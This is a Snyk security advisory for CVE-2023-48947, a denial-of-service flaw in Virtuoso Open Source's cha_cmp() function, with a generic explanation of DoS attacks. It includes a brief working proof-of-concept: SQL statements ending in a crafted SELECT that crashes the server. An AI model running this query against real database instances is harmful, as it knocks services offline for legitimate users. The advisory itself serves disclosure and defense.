Denial of Service (DoS) Affecting openlink/virtuoso-opensource package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.06% (30th percentile)

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  • Snyk IDSNYK-UNMANAGED-OPENLINKVIRTUOSOOPENSOURCE-6096064
  • published30 Nov 2023
  • disclosed29 Nov 2023
  • creditUnknown

Introduced: 29 Nov 2023

CVE-2023-48947  (opens in a new tab)
CWE-400  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) in the cha_cmp() function. An attacker can cause a crash with a malicious SELECT statement.

PoC

CREATE TABLE v0 ( v1 INT ) ;
 INSERT INTO v0 ( v1 , v1 , v1 ) VALUES ( 77 , -128 , -1 ) ;
 INSERT INTO v0 VALUES ( 4 ) ;
 SELECT CASE -128 / 56 WHEN v1 THEN 20 ELSE v1 + -2147483648 END , v1 FROM v0 UNION SELECT 19 , 0 * v1 FROM v0 GROUP BY v1 ;

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

CVSS Scores

version 3.1